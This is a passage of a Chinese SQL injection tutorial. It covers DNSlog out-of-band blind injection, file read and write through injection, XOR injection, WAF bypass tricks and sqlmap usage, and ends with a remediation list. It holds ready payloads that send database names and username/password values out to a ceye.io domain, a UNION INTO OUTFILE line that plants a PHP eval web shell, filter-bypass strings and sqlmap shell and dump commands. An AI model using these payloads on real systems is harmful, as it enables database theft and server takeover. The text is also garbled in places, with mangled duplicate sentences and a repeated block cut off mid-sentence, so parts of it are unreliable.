8.4.3.dnslog盲注原理
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。
8.4.4.基础函数
DNSlog进行注入需要用到load_file()函数,为什么要用load_file函数呢?因为load_file函数可以解析dns请求。数据库中使用此payload:select load_file(‘\\SQL注入查询语句.a.com’)。
有些地方用Hex编码,编码目的就是减少干扰,因为很多数据库字段的值可能是有特殊符号的,这些特殊符号拼接在域名里是无法做dns查询的,因为域名是有一定的规范,有些特殊符号是不能带入的。
注意:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径( UNC路径就是类似\softer这样的形式的网络路径。 格式为:
\\servername\sharename\directory\filename
8.4.5.dnslog盲注注意事项
dns带外查询属于MySQL注入,在MySQL中有个系统属性:
secure_file_priv特性,有三种状态
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
show variables like '%secure%';查看load_file()可以读取的磁盘。有路径或为null的则不可以进行DNSlog外带
在mysql的配置文件 my.ini 可以设置
secure_file_priv='' //默认不存在,直接添加在配置文件中即可,然后重启mysql即可
8.4.6.实战
8.4.6.1.实战平台
ceye.io
www.dnslog.cn
8.4.6.2.获取数据库名称
Less-8/?id=1' and LOAD_FILE(CONCAT('\\\\',(select database()),'.ejy4gn.ceye.io\\abc'))--#
8.4.6.3.获取表名
?id=1' and LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.ejy4gn.ceye.io\\abc'))--+
?id=1' and LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.ejy4 gn.ceye.io\\abc'))--+
8.4.6.4.获取列名
?id=1' and LOAD_FILE(CONCAT('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.ejy4gn.ceye.io\\abc'))--+
?id=1' and LOAD_FILE(CONCAT('\\\\',(select column_name from information_schema.columns where table_name='users' limit 1,1),'.ejy4gn.ceye.io\\abc'))--+
?id=1' and LOAD_FILE(CONCAT('\\\\',(select column_name from information_schema.columns where table_name='users' limit 2,1),'.ejy4gn.ceye.io\\abc'))--+
8.4.6.5.获取字段值
?id=1' and LOAD_FILE(CONCAT('\\\\',(select hex(concat(username,0x7e,password)) from security.users limit 0,1),'.ejy4gn.ceye.io\\abc'))--+
8.5.SQL注入文件读写
8.5.1.原理
利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。
8.5.2.文件读写条件
版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出写入文件的权限。
Linux:
cat /etc/my.cnf
[mysqld]
Secure_file_prive=
Windows
My.ini
[mysqld]
Secure_file_prive=
show global variables like ‘%secure%’ //查看mysql全局变量的配置
Secure_file_priv= 代表对文件读写没有限制
Secure_file_priv=null 代表不能进行文件读写
Secure_file_priv=文件路径 代表只能对该路径下文件进行读写
除了配置文件限制的条件以外,还需具备以下条件:
1、web目录具有写权限,能使用单引号;
2、知道网站绝对路径(根目录或者是根目录往下的目录都行)
8.5.3.读取文件
用函数load_file(),后面的路径可以是单引号,0x,char转换的字符。路径中斜杠是/不是\。一般可以与union中做为一个字段使用,查看config.php,apache的配置。
?id=-1 union select 1,load_file("C:\\phpstudy\\WWW\\123.txt"),3--+
8.5.4.写入文件
使用函数:into_file(能写入多行,按格式输出)和into Dumpfile(只能写入一行且没有输出格式)outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。
?id=-1 union select 1,'<?php eval($_POST["into"]); ?>',3 into outfile "C://phpstudy//WWW//into.php" --+
8.6.异或注入
8.6.1.原理
异步注入说简单一点就是在构造where后面的判断条件时使用^(异或符号)来达到sql注入攻击的目的,通常异步注入与一些自动化脚本比如bp中的intrude模块或者自己写一个python脚本来配合使用。
mysql> select 1^1;
+-----+
| 1^1 |
+-----+
| 0 |
+-----+
1 row in set (0.00 sec)
mysql> select 1^1^1;
+-------+
| 1^1^1 |
+-------+
| 1 |
+-------+
1 row in set (0.00 sec)
mysql> select 1^1^0;
+-------+
| 1^1^0 |
+-------+
| 0 |
+-------+
1 row in set (0.00 sec)
mysql> select 1^0^0;
+-------+
| 1^0^0 |
+-------+
| 1 |
+-------+
1 row in set (0.00 sec)
通过测试我们可以知道,两真为假,两假为真,通过一个输入值具有正反两种情况的条件下,这个特性我们可以进行mysql的异或攻击了。
9.SQL注入过滤与WAF
9.1.WAF
9.1.1.WAF原理
WAF(web application firewall)称为web应用防火墙,它工作在OSI模型的第七层,也就是应用层,对来自web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为web应用提供保护,也成为应用防火墙,是网络安全纵深防御体系里重要的一环。WAF属于检测型及纠正型防御控制措施。
9.1.2.WAF分类
WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WF、代码层WAF。
9.1.3.WAF工作过程
解析HTTP请求->匹配规则->防御动作->记录日志
9.1.4.WAF下载
http://free.safedog.cn/
9.1.5.安装
安装配置过程参考如下地址即可:
https://blog.51cto.com/u_15127545/4529815
9.2.绕WAF
9.2.1.空格字符绕过
1.两个空格代替一个空格;
2.用 Tab 代替空格;
3.包括用/**/、换行符、括号、反引号、“’”来代替空格;
4.Mysql中的反引号是为了区分mysql的保留字与普通字符而引入的符号,反引号可以代替空格,绕过空格过滤;
5.Ascii码转url编码替代空格:%20、%09、%0b、%0c、%0d、%a0,当前案例只有%a0能替换成功。在新版本的WAF中%a0不再能成功代替空格进行绕过,可使用%0a换行代替空格。
9.2.2.大小写绕过
将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1
9.2.3.内联注释绕过
Mysql会执行放在/!../中的语句。/! 50010…/也可以执行位于其中的SQL语句,其中,50010表示5.00.10,为mysql版本号。当mysql数据库的实际版本号大于内联注释中的版本号时,就会执行内联注释中的代码。可以利用mysql的这个特性绕过特殊字符过滤。
PHP过滤函数介绍:preg_replace(mixed $pattern,mixed $replacement,mixed s u b j e c t ) : 执行一个正则表达式的查找和替换。 subject):执行一个正则表达式的查找和替换。 subject):执行一个正则表达式的查找和替换。pattern:要搜索的模式,可以是字符串或一个字符串数组; r e p l a c e m e n t :用于替换的字符串或字符串数组。 replacement:用于替换的字符串或字符串数组。 replacement:用于替换的字符串或字符串数组。subject:要查找替换目标的目标字符串或字符串数组。
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
i d = p r e g r e p l a c e ( id=preg_replace( id=pregreplace(reg, r e p l a c e , replace, replace,id) # i d = 表示重新赋值, p r e g r e p l a c e ( ) 查找并替换的函数, id=表示重新赋值,preg_replace()查找并替换的函数, id=表示重新赋值,pregreplace()查找并替换的函数,reg表示reg变量中的值为查找内容(值为:#), r e p l a c e 表示 r e p l a c e 变量中的值为替换内容(该值为空), replace表示replace变量中的值为替换内容(该值为空), replace表示replace变量中的值为替换内容(该值为空),id表示查找并替换的目标。即是对用户传递id的值中的内容,查找#并替换为空,而后再重新赋值回id,从而到达过滤效果。
9.2.4.双写绕过
如果在程序中设置出现关键字之后替换为空,那么sql注入攻击也不会发生,对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了以此替换。就是将关键字替换为对应的空。
if(isset($_GET[‘id’])){
$id=preg_replace('/select/','',$_GET["id"]);
$sql="SELECT * FROM user WHERE id=$id limit 0,1";
$result=mysql_query($sql);
}
上面的代码中,利用preg_replace函数对GET型id参数进行了过滤,如果存在select关键字,会将select关键字替换为空,并且继续执行,但是preg_replace函数并没有进行多次判断,导致可以通过双写关键字的方式绕过过滤。
9.2.5.编码绕过
9.2.5.1.双重URL编码绕过
URL编码是一种用途广泛的技术,可以通过URL编码来绕过多种类型的过滤器,通常会将存在问题的字符转换成十六进制ASCII码来进行替换,并且将0x替换为%。
9.2.5.2.十六进制编码绕过
Mysql数据库可以识别十六进制,会对十六进制的数据进行自动转换。如果PHP配置中开启了GPC(活动目录容器),GPC会自动对单引号进行转义,这样注入就无法正常使用。但是,如果将注入的数据转换为十六进制,就不需要单引号,可以正常注入。
9.2.5.3.unicode编码绕过
IIS中间件可以识别unicode字符,当URL中存在unicode字符时,IIS中间件会自动对unicode字符进行转换。
9.2.5.4.ASCII编码绕过
SQL server数据库的char函数可以将字符转换为ascii码,这样也可以绕过单引号转义的情况。
9.2.6.关键字绕过
9.2.6.1.or、and关键字绕过
1.大小写变形
2.编码
3.添加注释/or/
4.利用符号and=&&、or=||
5.双写
9.2.6.2.#或–+绕过
1. 构造闭合方式绕过,例如:|| '1'='1或者;%00绕过
9.2.6.3.union、select关键字绕过
1.大小写绕过
2.双写绕过
3.注释符绕过:U/**/nion
4.内联注释绕过:/*!union*/
5.编码绕过
9.2.6.4.order by绕过
1.order by绕过:order%20/*//--/*/ by V4.0
2.order /*!--+/*%0aby /*!4*/ --+
3.id=-1' into @a,@b,@c;--+
9.2.6.5.union联合查询注入绕过
union /*!--+/*%0aselect/*!1,2,3*/ --+
--+表示#
%0a表示换行
9.2.6.6.from绕过
from绕过:/*!06447%23%0afrom*/
9.2.6.7.limit绕过
使用 limit 1 offset 0 从零开始返回第一条记录
9.2.7.等价函数字符替换绕过
9.2.7.1.等号过滤绕过
like或in可以代替=,案例如下:
select * from users where id in (0,1);
select * from users where id like 1;
9.2.7.2.逗号过滤绕过
select substr(database(),1,1);
select substr(database() from 1 for 1);
9.2.7.3.等价函数过滤绕过
1.sleep函数可以用benchmark函数代替;
2.Ascii函数可以用hex、bin函数代替;
3.Group_concat函数可以用concat_ws函数代替;
4.updatexml函数可以用polygon()函数代替:polygon((select * from (select * from (select @@version) f) x));
5.substr函数可以用min函数代替;
当sleep、benchmark函数都被禁用后可以用计算量比较大的语句使数据库查询时间变 长,从而达到延时注入的效果。
10.SQLMAP的使用
10.1.sqlmap介绍
Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
10.2.sqlmap支持
目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。
10.3.sqlmap支持的注入方式
Sqlmap全面支持六种SQL注入技术:
基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。
基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
联合查询注入:在可以使用Union的情况下的注入。
堆查询注入:可以同时执行多条语句时的注入。
带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。
10.4.下载
https://sqlmap.org
10.5.sqlmap支持的7种显示等级
①、等级0:只显示python错误以及严重问题的信息
②、等级1:在显示以上的信息的同时显示基本信息和警告信息(默认)。
③、等级2:在显示以上信息的同时显示debug信息。
④、等级3:在显示以上信息的同时显示注入的payload。
⑤、等级4:在显示以上信息的同时显示http请求。
⑥、等级5:在显示以上信息的同时显示http响应头
⑦、等级6:在显示以上信息同时显示HTTP响应页面。
10.6.使用
10.6.1.GET型注入常用参数
-u:指定注入的URL sqlmap -u URL
--dbs:爆出所有数据库 sqlmap -u URL --dbs
--dbms:指定数据库类型 sqlmap -u URL --dbms=mysql
--users:查看数据库的所有用户 sqlmap -u URL --users
--current-user:查看数据库当前用户 sqlmap -u URL --current-user
--current-db:查看网站当前数据库 sqlmap -u URL --current-db
--is-dba:判断当前用户是否有管理员权限 sqlmap -u URL --is-dba
[11:57:52] [INFO] testing if current user is DBA
[11:57:52] [INFO] fetching current user
current user is DBA: True
--roles:列出数据库所有管理员角色,仅适用于oracle数据库 sqlmap -u URL --roles
--tables:爆出所有数据表 sqlmap -u URL -D 数据库名 --tables
--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns
--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 --dump
--dump-all:爆出数据库中所有的数据 sqlmap -u URL -D 数据库名 -T 表名 --dump-all
--sql-shell:获取数据库shell sqlmap -u URL --sql-shell
--os-shell:获取服务器shell sqlmap -u URL --os-shell
--file-read:读取服务器文件 sqlmap -u URL --file-read "文件路径及名称"
--file-write 本地文件 --file-dist 目标文件路径及名称:将本地文件上传至目标服务器
--time-sec=2:延时注入 sqlmap -u URL --time-sec=2
--batch:探测过程中不进行询问,一律选择默认
-m:如果有多个url地址,可以把多个url保存成一个文本文件,-m可以加载文本文件逐个扫描
--os-shell的原理就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件。
10.6.2.POST型注入常用参数
-r:指定POST数据文件 sqlmap -r post.txt
--data:这种不需要将数据进行保存,只需要将post数据复制下来即可 sqlmap -u URL --data="post数据"
--forms:自动搜索表单的方式 sqlmap -u URL --forms
--cookie="抓取的cookie":测试cookie字段
--param-del:参数拆分字符,当GET型或POST型需要用其他字符分割测试参数的时候需要用到此参数,sqlmap -r post.txt --data="query=foorbar;id=1" --param-del
--referer:在请求中伪造http中的referer,当level参数设定为3或者3以上的时候会尝试对referer注入
--headers:增加额外的http头
--proxy:指定代理地址
-p:指定测试参数
10.6.3.高级语法
--technique:指定探测技术,默认情况下会测试所有的方法,支持探测的方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
-v3 #输出详细度 最大值5 会显示请求包和回复包
--threads 5 #指定线程数
--fresh-queries #清除缓存
--flush-session #刷新session
--batch #对所有的交互式的都是默认的
--random-agent #任意的http头
--tamper base64encode #对提交的数据进行base64编码
--referer http://www.baidu.com #伪造referer字段
--keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
10.6.4.sqlmap探测waf
--thread 10 --identify-waf
--thread 10 --check-waf
waf等设备会检测user-agent头,默认sqlmap的user-agent内容为sql.org,修改sqlmap/lib/core/option.py文件的1425行,将其修改为"User-agent:Mozilla/5.0 (compatible;Baiduspide/2.0;+http://www.baidu.com/ssearch/spider.html)"
10.6.5.自带脚本绕过waf
--tamper=脚本名称.py
Apostrophemask.py:将引号替换为UTF-8,用于过滤单引号;
Base64encode.py:base64编码
Multiplespaces.py:围绕SQL关键字添加多个空格
11.SQL注入漏洞修复
1.使用参数化查询:参数化查询可以将参数化的查询字符串发送到数据库,从而避免直接将用户输入与SQL语句结合,减少了SQL注入的风险。
2.过滤和验证输入:对所有用户输入进行过滤和验证,确保数据符合预期格式,如数字、日期、电子邮件地址等。
3.限制数据库用户权限:遵循最小权限原则,限制用户对数据库的访问权限,减少潜在的攻击面。
4.禁止动态拼接SQL语句:不应将用户输入的数据直接拼接到SQL语句中,而是应使用参数化查询或其他安全的编程实践。
5.加密敏感数据:对敏感数据进行加密存储,以保护数据免受SQL注入攻击的影响。
6.监控日志:定期监控应用程序和数据库的日志,以便及时发现SQL注入攻击。
7.使用预编译语句或ORM框架:这些工具可以帮助避免直接拼接SQL语句,并提供额外的安全性。
8.避免使用错误信息的返回:不应该将具体的网站错误信息返回到前台,以免泄露关于数据库配置的信息。
9.处理好异常:在代码中定义异常捕获,避免将服务端信息暴露到前端页面,增加系统的安全性。
10.使用正则表达式过滤传入的参数:可以通过引入正则表达式库,如Java的java.util.regex,来识别并过滤掉包含SQL注入攻击特征的参数。
11.使用存储过程替代原始SQL语句:这样可以提高数据库访问的速度并增强安全性,因为存储过程可以在内部
理地址
-p:指定测试参数
### 10.6.3.高级语法
–technique:指定探测技术,默认情况下会测试所有的方法,支持探测的方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
-v3 #输出详细度 最大值5 会显示请求包和回复包
–threads 5 #指定线程数
–fresh-queries #清除缓存
–flush-session #刷新session
–batch #对所有的交互式的都是默认的
–random-agent #任意的http头
–tamper base64encode #对提交的数据进行base64编码
–referer http://www.baidu.com #伪造referer字段
–keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
### 10.6.4.sqlmap探测waf
–thread 10 --identify-waf
–thread 10 --check-waf
waf等设备会检测user-agent头,默认sqlmap的user-agent内容为sql.org,修改sqlmap/lib/core/option.py文件的1425行,将其修改为"User-agent:Mozilla/5.0 (compatible;Baiduspide/2.0;+http://www.baidu.com/ssearch/spider.html)"
### 10.6.5.自带脚本绕过waf
–tamper=脚本名称.py
Apostrophemask.py:将引号替换为UTF-8,用于过滤单引号;
Base64encode.py:base64编码
Multiplespaces.py:围绕SQL关键字添加多个空格
# 11.SQL注入漏洞修复
1.使用参数化查询:参数化查询可以将参数化的查询字符串发送到数据库,从而避免直接将用户输入与SQL语句结合,减少了SQL注入的风险。
2.过滤和验证输入:对所有用户输入进行过滤和验证,确保数据符合预期格式,如数字、日期、电子邮件地址等。
3.限制数据库用户权限:遵循最小权限原则,限制用户对数据库的访问权限,减少潜在的攻击面。
4.禁止动态拼接SQL语句:不应将用户输入的数据直接拼接到SQL语句中,而是应使用参数化查询或其他安全的编程实践。
5.加密敏感数据:对敏感数据进行加密存储,以保护数据免受SQL注入攻击的影响。
6.监控日志:定期监控应用程序和数据库的日志,以便及时发现SQL注入攻击。
7.使用预编译语句或ORM框架:这些工具可以帮助避免直接拼接SQL语句,并提供额外的安全性。
8.避免使用错误信息的返回:不应该将具体的网站错误信息返回到前台,以免泄露关于数据库配置的信息。
9.处理好异常:在代码中定义异常捕获,避免将服务端信息暴露到前端页面,增加系统的安全性。
10.使用正则表达式过滤传入的参数:可以通过引入正则表达式库,如Java的java.util.regex,来识别并过滤掉包含SQL注入攻击特征的参数。
11.使用存储过程替代原始SQL语句:这样可以提高数据库访问的速度并增强安全性,因为存储过程可以在内部